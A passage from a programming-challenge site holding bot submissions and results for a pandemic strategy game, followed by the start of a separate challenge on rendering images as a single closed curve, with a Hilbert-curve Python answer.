InfectionRate = 3 ContagionRate = 4 LethalityRate = 5 MigrationRate = 6 worldpopulation = 0 for i in range(2,len(a)): b = a[i].split('_') players[b[0]]=map(int,b[1:]) worldpopulation += (int(b[1])+int(b[2]))*int(b[7])/100 output = "" if round == 1: output="BM" if players[myid][Infected]>6: output+="C" else: output+="E" if round == 50: if players[myid][Infected] > 20: output = "CCC" elif players[myid][Infected]> 6: output = "CTC" else: output = "TTC" if round == 48 and players[myid][Infected] > 45 and players[myid][InfectionRate]>12: output = "MMM" if round == 49 and players[myid][Infected] > 30: output = "CCC" if (round+1)%5==0: if players[myid][Sane]==0 or players[myid][Infected]/players[myid][Sane] > 2: output+="I"*(players[myid][LethalityRate]/4) output+="M"*(players[myid][InfectionRate]/4) output+="C"*max((players[myid][Infected]/10),1) if players[myid][InfectionRate] < 8 and players[myid][ContagionRate] < 20 and players[myid][Sane]+min(players[myid][Infected]/5,60)>players[myid][Infected] and (round+2)%5==0: output+="C"*max((players[myid][Infected]/10),1) players[myid][Infected] -= min(max((players[myid][Infected]/10),1)*10,players[myid][Infected]) if players[myid][Sane] > players[myid][Infected] > 30: output +="Q" players[myid][Infected] -= min(players[myid][Infected],30) if players[myid][Sane] > players[myid][Infected] > 20: output+="CC" players[myid][Infected] -= min(players[myid][Infected],20) if (players[myid][Sane] > 2*players[myid][Infected] > 20): output+="C" players[myid][Infected] -= min(players[myid][Infected],10) if round <= 5 and players[myid][Infected] > 10: output+="C" players[myid][Infected] -= min(players[myid][Infected],10) if 25 <= players[myid][Infected] < 40 and players[myid][InfectionRate]<10:# and players[myid][ContagionRate]*(players[myid][Infected]-20)/100 < 10: output+="CCC" if players[myid][InfectionRate]-players[myid][ContagionRate]>10: output+="M" if players[myid][ContagionRate]-players[myid][InfectionRate]>20: output+="E" population = [] population +=["I" for i in range(int(1.15**players[myid][LethalityRate]))] if players[myid][Sane]<10 or players[myid][Infected]-players[myid][Sane]>10: population+=["I" if players[myid][LethalityRate]>8 else "V" for i in range(players[myid][InfectionRate])] if players[myid][Sane]+players[myid][Infected]>10 and (players[myid][Sane]>15 or players[myid][LethalityRate]<10): population += ["M" if players[myid][InfectionRate] > 6 else "V" for i in range(2*max(players[myid][InfectionRate]*players[myid][Sane]/100,int((1.15+0.002*(50-round))**min(50,players[myid][InfectionRate]))))] if players[myid][Sane]+players[myid][Infected]>10 and (players[myid][Sane]>15 or players[myid][LethalityRate]<10): population += ["E" if players[myid][ContagionRate] > 10 else "V" for i in range(max(min(players[myid][Sane],players[myid][ContagionRate]*players[myid][Infected]/100),int(1.15**min(50,players[myid][ContagionRate]))))] if players[myid][InfectionRate]+players[myid][ContagionRate]<15: population += ["C" for i in range(players[myid][Infected])] if players[myid][Infected] < 10: population += ["WV" for i in range(int(1.05**round))] output += ''.join(sample_wr(population,3)) print output[:3] ``` 4 runs involving everyone: ``` 1. Crossroads (36, 12, 185) 2. InfectedTown (14, 1040, 510) 3. InfectedHaven (14, 977, 481) 4. Triage (14, 668, 531) 5. ZombieState (14, 523, 393) 1. AllOrNothing (541, 0, 312) 2. InfectedTown (30, 1125, 574) 3. InfectedHaven (30, 1020, 612) 4. WICKED (30, 732, 622) 5. Triage (30, 553, 554) 6. Mooch (30, 80, 240) 7. Crossroads (25, 0, 162) 1. AllOrNothing (846, 12, 241) 2. Crossroads (440, 15, 146) 3. FamilyValues (388, 34, 201) 4. Salt (170, 0, 176) 5. InfectedHaven (18, 1290, 664) 1. Crossroads (80, 14, 365) 2. InfectedHaven (30, 1596, 603) 3. InfectedTown (30, 1286, 576) 4. Triage (30, 1084, 412) 5. WICKED (18, 1286, 578) ``` 4 runs without "doomsday bots": ``` 1. Salt (6790, 0, 58) 2. FamilyValues (6697, 7, 9) 3. Crossroads (6616, 4, 16) 4. PureBot (6454, 0, 50) 5. Piecemeal (6260, 0, 111) 1. Crossroads (6970, 0, 39) 2. PureBot (6642, 0, 77) 3. CureThenQuarantine (6350, 2, 51) 4. FamilyValues (6153, 13, 21) 5. Piecemeal (5964, 4, 132) 1. PureBot (6142, 0, 34) 2. CureThenQuarantine (6010, 4, 75) 3. Piecemeal (5971, 4, 72) 4. CullBot (5409, 8, 115) 5. Crossroads (5129, 0, 27) 1. FamilyValues (7277, 12, 26) 2. Crossroads (6544, 4, 32) 3. Salt (5830, 26, 103) 4. Piecemeal (5757, 8, 164) 5. PureBot (5657, 8, 127) ``` EDIT: Having seen CullBot's successful "ignore lethality and focus on keeping folks healthy" strategy, I have increased the priority of reducing infection and contagion and curing over reducing lethality, while not abandoning the essential decision-by-committee random flair. EDIT2: It turns out ignoring lethality with lots of terrorists around is bad. priority for lethality reduction increased again, now scaling with the lethality rate. Also fixed some other poor decisions, like opening and closing borders on the same turn, and increased the threshold for quarantine, preferring to cure instead where possible. EDIT3: A couple of minor priority adjustments to handle situations that weren't being handled. Now it scores near the top whether doomsdays are included or not, thought Salt beats it in both cases. My vote is currently with Salt for winner of this thing. EDIT4: Improved timing and efficacity of curing. EDIT5: Removed the stuff that messes with migration, since it never hits zero population anymore, and some more special cases for curing. EDIT6: Increase priority of lowering infection rate in early game. Remove commented lines. I did not update the results of test runs, but it now scores considerably higher in non-doomsday runs (beating out FamilyValues, but not TrumpBot) EDIT7: Cap infection/contagion rate exponent at 50 to prevent high memory usage. [Answer] # The Keeper, Lua A KotH done by a fellow french froggy ! I had to be in this contest ! This bot will do anything possible to keep its infection/contagion and lethality rates as low as possible. Its greatest priority is having a lethality near 0. It will then try to guess when it is good to try "importing" more people. **Edit: I assumed what we get via `arg` was sorted by playerId. It is a wrong assumption, so I added a bubble sort for `datas`.** ``` input=arg[1] datas={} format={"playerID","sane","infected","dead","infection","contagion","lethality","migration"} i=1 for s in input:gmatch("[^;]+") do j=1 if round==nil then round=tonumber(s) elseif me==nil then me=tonumber(s)+1 else table.insert(datas,{}) for r in s:gmatch("%d+") do datas[i][format[j]]=tonumber(r) j=j+1 end i=i+1 end end for i=#datas-1,1,-1 do for j=1,i do if datas[j].playerID>datas[j+1].playerID then datas[j],datas[j+1]=datas[j+1],datas[j] end end end -- First, we put ourself in a safe state if round==1 then print("VVV")os.exit(0)end if round==50 then print("CCC")os.exit(0)end actions="" -- Safety actions first if datas[me].lethality>2 then actions=actions.."I" datas[me].lethality=datas[me].lethality-4>0 and datas[me].lethality-4 or 0 end if datas[me].infected>=10 then if(datas[me].infection+datas[me].contagion+datas[me].lethality>4) then actions=actions.."V" datas[me].infection=datas[me].infection-1>0 and datas[me].infection-1 or 0 datas[me].contagion=datas[me].contagion-4>0 and datas[me].contagion-4 or 0 datas[me].lethality=datas[me].lethality-2>0 and datas[me].lethality-2 or 0 end actions=actions.."C" datas[me].sane=datas[me].sane+10 datas[me].infected=datas[me].infected-10 end -- We can now try taking some initiatives while #actions<3 do rates={} for i=1,#datas do if i~=me then table.insert(rates,(datas[i].infected/datas[i].sane>0 and datas[i].sane or 0)*(datas[i].migration/100)) end end rates["total"]=0 for i=1,#rates do rates.total=rates.total+rates[i] end rates.total=(rates.total/#rates)*100 if datas[me].migration<=15 and datas[me].migration+10>rates.total then actions=actions.."O" datas[me].migration=datas[me].migration+10>0 and datas[me].migration+10 or 0 elseif (datas[me].sane/datas[me].infected)*100<rates.total then actions=actions.."B" datas[me].migration=datas[me].migration-10>0 and datas[me].migration-10 or 0 elseif datas[me].infected>=10 then actions=actions.."C" datas[me].infected=datas[me].infected-10 else actions=actions.."V" datas[me].infection=datas[me].infection-1>0 and datas[me].infection-1 or 0 datas[me].contagion=datas[me].contagion-4>0 and datas[me].contagion-4 or 0 datas[me].lethality=datas[me].lethality-2>0 and datas[me].lethality-2 or 0 end end print(actions) os.exit(0) ``` [Answer] # MadScienceBot, Python2 You know what this world needs? MORE SCIENCE! How do we get MORE SCIENCE? WITH BRAINZZ Only cures people at the last second, couldn't care less about them except on round 50. Tries to be a zombie farm every other round ``` import sys, copy import itertools mults = {'mig_rate': -15, 'let_rate': -15, 'dead': -20, 'inf_rate': -20, 'sane': 0, 'infected': 60, 'con_rate': -30, 'id': 0} def get_score(player_data): score = 0 for k in player_data: score += player_data[k] * mults[k] / 100. return score def add_rates(player_data): #Infection no_sane_converted = player_data["sane"]*player_data["inf_rate"]/100. player_data["infected"] += no_sane_converted player_data["sane"] -= no_sane_converted #Contagion no_sane_converted = player_data["con_rate"] player_data["infected"] += no_sane_converted player_data["sane"] -= no_sane_converted #Extinction no_killed = player_data["infected"]*player_data["let_rate"]/100. player_data["dead"] += no_killed player_data["infected"] -= no_killed def correct(data): if round % 5 == 4: data["sane"] += int(data["sane"])/2 data["infected"] += int(data["infected"])/2 data["inf_rate"] += 2 data["con_rate"] += 5 data["let_rate"] += 5 args = sys.argv[1].split(";") round = int(args[0]) self_id = int(args[1]) player_data = [map(int, player.split("_"))for player in args[2:]] player_data = [dict(zip(("id", "sane", "infected", "dead", "inf_rate", "con_rate", "let_rate", "mig_rate"), player)) for player in player_data] self_data = [player for player in player_data if player["id"] == self_id][0] f = open("MadScienceBot.txt", "a") f.write("\n") f.write(`round`+"\n") f.write("INPUT: "+`self_data`+"\n") def m(p): p["inf_rate"] -= 4 def e(p): p["con_rate"] *= 92/100. def i(p): p["let_rate"] -= 4 def v(p): p["inf_rate"] -= 1; p["con_rate"]-=4;p["let_rate"]-=2 def c(p): x=min(p['infected'], 10); p['infected']-=x; p['sane']+=x def q(p): x=min(p['infected'], 30); p['infected']-=x; p['dead']+=x def o(p): p["mig_rate"] += 10 def b(p): p["mig_rate"] -= 10 out = "" instructions = {"M": m, "E": e, "I": i, "V": v, "C": c, "Q": q, "O": o, "B": b} def run_inst(new_data, inst_id, i): inst = instructions[inst_id] if i != 2: inst(new_data) for j in new_data: new_data[j] = max(0, int(new_data[j])) #f.write("%s %s %s\n"%(inst_id, get_score(new_data), new_data)) else: inst(new_data) for j in new_data: new_data[j] = max(0, int(new_data[j])) correct(new_data) add_rates(new_data) for j in new_data: new_data[j] = max(0, int(new_data[j])) #f.write("%s %s %s\n"%(inst_id, get_score(new_data), new_data)) return new_data def run_3_insts(self_data, insts): new_data = copy.copy(self_data) for i, inst in enumerate(insts): run_inst(new_data, inst, i) return get_score(new_data) scores = {} for combo in itertools.permutations(instructions.keys(), 3): joined = "".join(combo) score = run_3_insts(self_data, joined) scores[score] = joined #print scores out = scores[max(scores)] if round == 50: out = "CCC" f.write(out+"\n") print out ``` [Answer] **ZombieState, Java** Hey, this is my first post on this site. I basically just took one of the example bots and changed the lines regarding the output. ``` import java.util.ArrayList; import java.util.List; public class ZombieState { int round; int phase; int playerID; int thisTownID; List<State> states; List<State> otherStates; State thisState; public static void main(String[] args){ new ZombieState().sleep(args[0].split(";")); } private void sleep(String[] args) { round = Integer.parseInt(args[0]); thisTownID = Integer.parseInt(args[1]); states = new ArrayList<>(); otherStates = new ArrayList<>(); for (int i = 2; i < args.length; i++){ states.add(new State(args[i])); } for (State state : states){ if (state.isMine()) { thisState = state; } else { otherStates.add(state); } } StringBuilder sb = new StringBuilder(); if(round == 1) System.out.println("TTT"); else if(round == 50) System.out.println("CCC"); else { while(thisState.lethalityRate >= 4) { sb.append("I"); thisState.lethalityRate -= 4; } sb.append("DDD"); System.out.println(sb.toString().substring(0, 3)); } } private class State { private final int ownerId; public int sane; public int infected; public int dead; public int infectionRate; public int contagionRate; public int lethalityRate; public int migrationRate; public State(String string) { String[] args = string.split("_"); ownerId = Integer.parseInt(args[0]); sane = Integer.parseInt(args[1]); infected = Integer.parseInt(args[2]); dead = Integer.parseInt(args[3]); infectionRate = Integer.parseInt(args[4]); contagionRate = Integer.parseInt(args[5]); lethalityRate = Integer.parseInt(args[6]); migrationRate = Integer.parseInt(args[7]); } public int getOwnerId() { return ownerId; } public boolean isMine(){ return getOwnerId() == playerID; } } } ``` I hope this is ok and the bot did quite well in my own runs. Because who needs the living if you can have 30 healthy and a maximum amount of infected at the end. It starts the game with 3x BioTerrorism to get everything started and trys to keep the local lethality low. If it is less than 4 it trys to up the global infection and contagion rate with Dissemination. [Answer] # DisseminationBot, Ruby This bot will Cure as long as 10 or more are left to cure. Next, if the infection rate is at least 4, the bot will decrease it. All other actions are spent increasing the contagion rate, which will not hurt me, because I have no infected left. ``` #You can copy this code if you want. Not specific to my strategy. PlayerId = 0 Sane = 1 Infected = 2 Dead = 3 InfectionRate = 4 ContagionRate = 5 LethalityRate = 6 MigrationRate = 7 a = ARGV[0].split ';' round = a.shift.to_i my_id = a.shift.to_i players = a.map{|s|s.split('_').map{|str| str.to_i}} my_index = players.index{|p| p[PlayerId] == my_id } me = players[my_index] #strategy specific code starts here. commands = "" commands += 'C' if me[Infected] >= 10 commands += 'C' if me[Infected] >= 20 commands += 'C' if me[Infected] >= 30 commands += 'M' if me[InfectionRate] >= 4 and commands.length < 3 commands += 'D' while commands.length < 3 print commands $stdout.flush ``` [Answer] # XenoBot (Node.js) XenoBot is afraid of people, his solution to the epidemic is to isolate his population, cure the people who he can, and isolate them when he can't. He doesn't bother with all this warfare nonsense, he's just trying to keep his people alive. Activate XenoBot like so: ``` node xenobot.js [data] ``` Code: ``` const argv = String(process.argv), data = argv.split(";"), round = data[0], id = Number(data[1]), info = data[id + 1].split("_"), sane = info[1], infected = info[2], dead = info[3], infectionRate = info[4], contagionRate = info[5], lethalityRate = info[6], migrationRate = info[7] var moves = 3 function exec(a) { process.stdout.write(a) } if(migrationRate >= 10) { exec("B") } if (infectionRate >= 8) { exec("MQ") moves-=2; } else if(contagionRate >= 16) { exec("EC") moves-=2; } else if(lethalityRate >= 8) { exec("IV") moves--; } else { exec("B"); moves--; } if (sane / 3 > infected + dead) { exec("Q") moves--; } if(moves > 0) { exec("B") } ``` [Answer] # Strategist, Python This bot is *really* serious about surviving. He's analysed the possible strategies, and come up with his own winning method. Which he's now going to document in source comments, because he's a nice guy and wants other people to survive, too. Called with `python strategist.py`. ``` import sys import random import math def main(): id = int(get_player_id(sys.argv[1])) stats = get_player_stats(sys.argv[1], id) round = int(get_round(sys.argv[1])) if id == -1 or stats == None or round == -1: # Something is wrong here. RED ALERT! Close all possible entry routes and set # quarantine levels to maximum! print("BQQ") sys.exit(1) if round == 1: # remove migration, cure some infected, and remove some danger print("BCM") elif round % 5 == 4: # Rounds 4, 9, 14 etc. One before repopulation. We want as many Healthy and as # few Infected as possible to reproduce. Prioritise curing infected, because that # maximises Healthy for reproduction. If that's not possible, quarantine them. quarantine = math.ceil(int(stats['infected']) / 30) cure = math.ceil(int(stats['infected']) / 10) if cure <= 3: # we can deal with all our infections within 3 cures output = "C" * cure for i in range(3 - cure): # got moves left? Great, remove some danger. output += get_random_science() print(output) elif quarantine <= 3: # we can deal with all our infections within 3 quarantines output = "Q" * quarantine for i in range(3 - quarantine): # got moves left? Great, remove some danger. output += get_random_science() print(output) else: # We can't deal with all the infected in one round, so deal with some. Yes, we # don't get rid of as many as we could here, but we're about to reproduce so # we want Healthies in the next round. print("QQC") else: output = "" if int(stats['infected']) <= 10: # we can deal with all our infections by curing them output += "C" elif int(stats['infected']) <= 30: # we can deal with all our infections by quarantining them output += "Q" elif int(stats['infected']) >= int(stats['healthy']) * 0.5: # we're getting overrun with infected people, get rid of some output = "QCC" for i in range(3 - len(output)): # if we haven't used all our moves, we can remove some danger factors output += get_random_science() print(output) def get_random_science(): return random.choice(["M", "E", "I", "V"]) def get_player_id(args): splat = args.split(";") return splat[1] if len(splat) >= 2 else -1 def get_player_stats(args, id): splat = args.split(";") players_data = [x for x in splat if "_" in x] my_data = [y for y in players_data if y.split("_")[0] == str(id)] data_splat = my_data[0].split("_") if len(data_splat) == 8: # Id, Healthy, Infected, Dead, InfRate, ConfRate, LethRate, MigRate return { 'healthy': data_splat[1], 'infected': data_splat[2], 'dead': data_splat[3], 'inf_rate': data_splat[4], 'conf_rate': data_splat[5], 'leth_rate': data_splat[6], 'mig_rate': data_splat[7] } else: return None def get_round(args): splat = args.split(";") return splat[0] if len(splat) >= 1 else -1 if __name__ == "__main__": main() ``` [Answer] # OpenAndClose Start the game by opening the borders, then let all the sick come. After we have a large sick population (round 30), close the borders and work on curing the sick. ``` #You can copy this code if you want. Not specific to my strategy. PlayerId = 0 Healthy = 1 Infected = 2 Dead = 3 InfectionRate = 4 ContagionRate = 5 LethalityRate = 6 MigrationRate = 7 a = ARGV[0].split ';' round = a.shift.to_i my_id = a.shift.to_i players = a.map{|s|s.split('_').map{|str| str.to_i}} my_index = players.index{|p| p[PlayerId] == my_id } me = players[my_index] #strategy specific code starts here. commands = "" if round < 30 commands += me[MigrationRate] == 100 ? (me[InfectionRate] <= 1 ? "V" : "M") : "O" commands += me[LethalityRate] <= 2 ? "V" : "I" commands += me[ContagionRate] <= 4 ? "V" : "E" elsif round < 50 commands += me[MigrationRate] == 0 ? "V" : "B" commands += me[LethalityRate] < 20 ? "C" : "I" commands += me[ContagionRate] < 5 ? "C" : "E" else commands = "CCC" end print commands $stdout.flush ``` [Answer] ## Two more Python bots ### Israel It's similar to Mooch, but maybe not quite as good as Mooch, except in rare occasions when it's much better: ``` import sys a = sys.argv[1].split(';') round = int(a[0]) myid = a[1] players = {} Sane = 0 Infected = 1 Dead = 2 InfectionRate = 3 ContagionRate = 4 LethalityRate = 5 MigrationRate = 6 for i in range(2,len(a)): b = a[i].split('_') players[b[0]]=map(int,b[1:]) output='' if round<=4:output = ["OOO","OOO","OOO","OII"][round-1] if round==50: output = "CCC" mycontrate = players[myid][ContagionRate] myfatrate = players[myid][LethalityRate] myinfrate = players[myid][InfectionRate] if myinfrate+mycontrate<5: output+="V" myfatrate-=2 if round < 47: output+="I"*(myfatrate/4) if myfatrate%4: output+="V" else: if round < 47: output+="I"*(myfatrate/4) if myfatrate%4: output+="V" output+="M"*(myinfrate/4) if round < 47: output+="E"*(mycontrate/4) output+="CCC" print output[:3] ``` ### Red Cross Sort of like pacifist, except tries also to keep its own people from dying. Fails miserably at this, but it's nice to have another friendly on the playing field. ``` import sys a = sys.argv[1].split(';') round = int(a[0]) myid = a[1] players = {} Sane = 0 Infected = 1 Dead = 2 InfectionRate = 3 ContagionRate = 4 LethalityRate = 5 MigrationRate = 6 for i in range(2,len(a)): b = a[i].split('_') players[b[0]]=map(int,b[1:]) output="PPPPP" if round<=4:output = ["OOO","OOO","OOO","OII"][round-1] elif round==50: output = "CCC" else: output = output[:2-3*round%5]+"I"+output[2-3*round%5:] print output[:3] ``` [Answer] # Smaug (Python) **I am fire; I am death.** Smaug creates as much death as possible, regardless of where it occurs. ``` # "I am fire, I am death" # Smaug has two goals: hoard gold and bring death... # and this world seems to be all out of gold from sys import argv args = argv[1].split(";") round = int(args.pop(0)) me = int(args.pop(0)) if round==50: # can't cause more death on the last round, might as well infect print('TTT') def predict_infected(infected, infection_rate, contagion_rate): i = infected + infection_rate return i + int(i*contagion_rate) def predict_dead(infected, lethality_rate): return int(infected*lethality_rate) strategies = {'WWW':0, 'WWD':0, 'WDD':0, 'DDD':0} for player in args: player=player.split('_') healthy=int(player[1]) infected=int(player[2]) infection_rate=int(player[4]) contagion_rate=int(player[5])/100. lethality_rate=int(player[6])/100. if round%5==0: healthy+=healthy/2 infected+=infected/2 pi_old = predict_infected(infected, infection_rate, contagion_rate) pd_old = predict_dead(pi_old, lethality_rate) for strat in strategies: ir_new = infection_rate + 3 lr_new = lethality_rate + (strat.count('W')*.02) cr_new = contagion_rate + (strat.count('D')*.02) pi_new = predict_infected(infected, ir_new, cr_new) pd_new = predict_dead(pi_new, lr_new) increase = pd_new - pd_old strategies[strat]+=increase print max(strategies, key=strategies.get) ``` [Answer] # Remove Infected (Python) Despite all the random logic, I'm pretty it's rare for this to return anything but Q's and C's (preventative measures never seem *that* helpful). Oh well. Might borrow some of it for another bot, but leaving it in in case it helps. ``` # Remove as many of it's own infected as possible, preferably by curing, but quarantining if it's getting out of hand # If not very many can be cured, takes preventative measures (B,E,M, or V) from sys import argv CMDS=3 C_RATE=10 E_RATE=.08 M_RATE=4 Q_RATE=30 V_RATE=(1,.04) def find_me(args): for player in args: player=player.split('_') if int(player[0])==me: return player def actions_available(): global actions if len(actions) < CMDS: return True else: return False def add_actions(new_actions): global actions actions = (actions + new_actions)[0:CMDS] def get_remaining_infected(local_infected): global actions return local_infected - (Q_RATE*actions.count('Q')) - (C_RATE*actions.count('C')) def too_many_infected(local_infected): max_infected = C_RATE*(CMDS+1) # If we can get down to 10 or less without quarantining, that's good if local_infected > max_infected: return True else: return False def projection(infection_rate, remaining_infected, action): additional_M=0 additional_E=0 additional_V=0 if action == "M": additional_M=1 elif action == "E": additional_E=1 else: additional_V=1 M_level = M_RATE*(actions.count('M')+additional_M) E_level = E_RATE*(actions.count('E')+additional_E) V_level = (V_RATE[0]*(actions.count('V')+additional_V), V_RATE[1]*(actions.count('V')+additional_V)) projection = infection_rate - M_level - V_level[0] + (remaining_infected * (contagion_rate - E_level - V_level[1])) return int(projection) def get_best_action(local_infected): global actions remaining_infected = get_remaining_infected(local_infected) # If we can leave no infected, do so if remaining_infected <= C_RATE and remaining_infected >= 0: return 'C' strategies = {'M':0, 'E':0, 'V':0,'C':min(remaining_infected,C_RATE)} pni = int(infection_rate + (remaining_infected*contagion_rate)) # predicted new infected strategies['M'] = pni - projection(infection_rate, remaining_infected, 'M') strategies['E'] = pni - projection(infection_rate, remaining_infected, 'E') strategies['V'] = pni - projection(infection_rate, remaining_infected, 'V') # any benefit to including P as an option? #print(strategies) max_saved = 'C' for strat,saved in strategies.iteritems(): if saved > strategies[max_saved]: max_saved=strat elif saved == strategies[max_saved]: #prioritize V because of it's extra benefit of reducind lethality_rate max_saved=max(strat,max_saved) if strategies[max_saved] <= C_RATE/2: # can't save that many, just close borders instead selected_action = 'B' else: selected_action = max_saved return selected_action args = argv[1].split(";") round = int(args.pop(0)) me = int(args.pop(0)) actions = "" my_town = find_me(args) local_infected = int(my_town[2]) infection_rate = int(my_town[4]) contagion_rate = int(my_town[5])/100. if round!=50 and too_many_infected(local_infected): # Things are getting out of hand, quarantine and consider preventative measures actions = ('Q'*(local_infected/Q_RATE))[0:CMDS] while actions_available(): add_actions(get_best_action(local_infected)) else: actions='CCC' print ''.join(sorted(actions)) # always cure first ``` [Answer] # CureThenQuarantine, Java The state has instigated a policy of curing those lucky few and then quarantining the remainder of infected persons. Once the infected population is reduced then the focus on reducing local rates and then help reducing the global rates. The borders are shut to ensure no infected migration into the state. I have only tested the bot against java and python bots... it seems to hold its own against them. It also seems that my bot behaves similar to CullBot. ``` public class CureThenQuarantine { static int playerID; public static void main(String[] args) { State thisState=null; args = args[0].split(";"); // Parse arguments int round = Integer.parseInt(args[0]); playerID = Integer.parseInt(args[1]); for (int i = 2; i < args.length; i++){ thisState = new State(args[i]); if(thisState.isMine()){ break; } } String action=""; if(round == 1) action = "B"; // ensure no migration. else if (round == 50 ) action ="CCC"; // not much else we can do so just cure some people. // Highest Priority to Curing and then Quarantining infected, but do not perform either action if it would be wasteful. if (thisState.infected>9) { if (thisState.infected<19) action+="C"; else if (thisState.infected<29) action+="CC"; else if (thisState.infected<39) action+="CCC"; else if (thisState.infected<49) action+="CQ"; else if (thisState.infected<59) action+="CCQ"; else if (thisState.infected<79) action+="CQQ"; else action+="QQQ"; } // Next priority is to reduce infection rate if (thisState.infectionRate>8) action+="MMM"; else if (thisState.infectionRate>4) action+="MM"; else if (thisState.infectionRate>1) action+="M"; else if (thisState.infectionRate>0) action+="V"; // then reduce contagion rate if (thisState.contagionRate>16) action+="EEE"; else if (thisState.contagionRate>8) action+="EE"; else if (thisState.contagionRate>1) action+="E"; else if (thisState.contagionRate>0) action+="V"; // and least priority is lethality rate... since we are only going to quarantine infected persons anyway. if (thisState.lethalityRate>8) action+="III"; else if (thisState.lethalityRate>4) action+="II"; else if (thisState.lethalityRate>1) action+="I"; else if (thisState.lethalityRate>0) action+="V"; // and if we have managed to clean up our state then we help others states. action+="PPP"; System.out.println(action.substring(0,3)); } static private class State { public int ownerId; public int lethalityRate; public int healthy; public int infected; public int infectionRate; public int contagionRate; public State(String string) { String[] args = string.split("_"); ownerId = Integer.parseInt(args[0]); healthy = Integer.parseInt(args[1]); infected = Integer.parseInt(args[2]); infectionRate = Integer.parseInt(args[4]); contagionRate = Integer.parseInt(args[5]); lethalityRate = Integer.parseInt(args[6]); } public boolean isMine(){ return ownerId == playerID; } public String toString() { return "H: "+healthy+" I: "+infected+" IR: "+infectionRate+" LR: "+lethalityRate+" CR: "+contagionRate; } } } ``` [Answer] ## Researcher, Java This bot focuses on research. If the number of infected is below 15, it tries to cure them. If it's higher than that, it chooses the *more effective solution*. ``` public class Researcher { public static void main(String[] args){ String[] args1 = args[0].split(";"); int id = Integer.parseInt(args1[1]); for (int i = 2; i < args1.length; ++ i) { String[] args2 = args1[i].split("_"); if (Integer.parseInt(args2[0]) == id) { int infected = Integer.parseInt(args2[2]); if (infected == 0) { System.out.println("MEI"); } else if(infected < 15) { System.out.println("MEC"); } else { System.out.println("MEQ"); } } } } } ``` [Answer] # Piecemeal, Java Based on my previous bot (CureThenQuarantine), I have found that with the aggressive bots in play, there is no need for quarantine as the infected will die very quickly, so this bot will opportunistically cure 10 infected each turn (either arriving from migration or from infections from healthy population). It will then use the remaining actions to ensure the healthy population stays healthy relying on births to boost the healthy population. The borders are shut to ensure no infected migration into the state. ``` public class Piecemeal{ static int playerID; public static void main(String[] args) { State thisState=null; args = args[0].split(";"); // Parse arguments int round = Integer.parseInt(args[0]); playerID = Integer.parseInt(args[1]); for (int i = 2; i < args.length; i++){ thisState = new State(args[i]); if(thisState.isMine()){ break; } } String action=""; if(round == 1) action = "B"; // ensure no migration. else if (round == 50 ) action ="CCC"; // not much else we can do so just cure some people. // Highest Priority to Curing up to ten infected if there are any. if (thisState.infected>0) { action+="C"; } // Next priority is to reduce infection rate if (thisState.infectionRate>8) action+="MMM"; else if (thisState.infectionRate>4) action+="MM"; else if (thisState.infectionRate>1) action+="M"; else if (thisState.infectionRate>0) action+="V"; // then reduce contagion rate if (thisState.contagionRate>16) action+="EEE"; else if (thisState.contagionRate>8) action+="EE"; else if (thisState.contagionRate>1) action+="E"; else if (thisState.contagionRate>0) action+="V"; // and least priority is lethality rate... since we are only going to quarantine infected persons anyway. if (thisState.lethalityRate>8) action+="III"; else if (thisState.lethalityRate>4) action+="II"; else if (thisState.lethalityRate>1) action+="I"; else if (thisState.lethalityRate>0) action+="V"; // and if we have managed to clean up our state then we help others states. action+="PPP"; System.out.println(action.substring(0,3)); } static private class State { public int ownerId; public int lethalityRate; public int healthy; public int infected; public int infectionRate; public int contagionRate; public State(String string) { String[] args = string.split("_"); ownerId = Integer.parseInt(args[0]); healthy = Integer.parseInt(args[1]); infected = Integer.parseInt(args[2]); infectionRate = Integer.parseInt(args[4]); contagionRate = Integer.parseInt(args[5]); lethalityRate = Integer.parseInt(args[6]); } public boolean isMine(){ return ownerId == playerID; } public String toString() { return "H: "+healthy+" I: "+infected+" IR: "+infectionRate+" LR: "+lethalityRate+" CR: "+contagionRate; } } } ``` ]
[Question] [ Inspired by [vi.sualize.us](http://vi.sualize.us/a_simple_closed_mona_lisa_space-filling_curve_kaplan_and_bosch_generative_art_picture_jqWC.html) ### Goal The input is a grayscale image and the output is a black and white image. The output image consists of just one closed curve (loop) that is not allowed to intersect with itself or touch itself. The width of the line shall be constant throughout the whole image. The challenge here is finding an algorithm for doing so. The output just has to represent the input image, but with any artistic freedom. The resolution is not so important but the aspect ratio should stay about the same. ### Example ![enter image description here](https://i.stack.imgur.com/MEaEk.png) ![enter image description here](https://i.stack.imgur.com/wH8bX.jpg) ### More test images ![loch ness](https://i.stack.imgur.com/KRZON.jpg) ![sky scraper](https://i.stack.imgur.com/Lj8Ax.jpg) ![einstein](https://i.stack.imgur.com/RKP5g.jpg) ![checker](https://i.stack.imgur.com/K7EuO.png) [Answer] # Python: Hilbert curve (~~373~~ 361) I decided to draw a Hilbert curve with variable granularity depending on the image intensity: ``` import pylab as pl from scipy.misc import imresize, imfilter import turtle # load image img = pl.flipud(pl.imread("face.png")) # setup turtle levels = 8 size = 2**levels turtle.setup(img.shape[1] * 4.2, img.shape[0] * 4.2) turtle.setworldcoordinates(0, 0, size, -size) turtle.tracer(1000, 0) # resize and blur image img = imfilter(imresize(img, (size, size)), 'blur') # define recursive hilbert curve def hilbert(level, angle = 90): if level == 0: return if level == 1 and img[-turtle.pos()[1], turtle.pos()[0]] > 128: turtle.forward(2**level - 1) else: turtle.right(angle) hilbert(level - 1, -angle) turtle.forward(1) turtle.left(angle) hilbert(level - 1, angle) turtle.forward(1) hilbert(level - 1, angle) turtle.left(angle) turtle.forward(1) hilbert(level - 1, -angle) turtle.right(angle) # draw hilbert curve hilbert(levels) turtle.update() ``` Actually I planned to make decisions on different levels of detail, like "This spot is so bright, I'll stop the recursion and move to the next block!". But evaluating image intensity locally leading to large movements is very inaccurate and looks ugly. So I ended up with only deciding whether to skip level 1 or to draw another Hilbert loop. Here is the result on the first test image: ![result](https://i.stack.imgur.com/pWsrf.png) Thanks to @githubphagocyte the rendering is pretty fast (using `turtle.tracer`). Thus I don't have to wait all night for a result and can go to my well-deserved bed. :) --- **Some code golf** @flawr: "short program"? You haven't seen the golfed version! ;) So just for fun: ``` from pylab import*;from scipy.misc import*;from turtle import* i=imread("f.p")[::-1];s=256;h=i.shape;i=imfilter(imresize(i,(s,s)),'blur') setup(h[1]*4.2,h[0]*4.2);setworldcoordinates(0,0,s,-s);f=forward;r=right def h(l,a=90): x,y=pos() if l==1and i[-y,x]>128:f(2**l-1) else: if l:l-=1;r(a);h(l,-a);f(1);r(-a);h(l,a);f(1);h(l,a);r(-a);f(1);h(l,-a);r(a) h(8) ``` (~~373~~ 361 characters. But it will take forever since I remove the 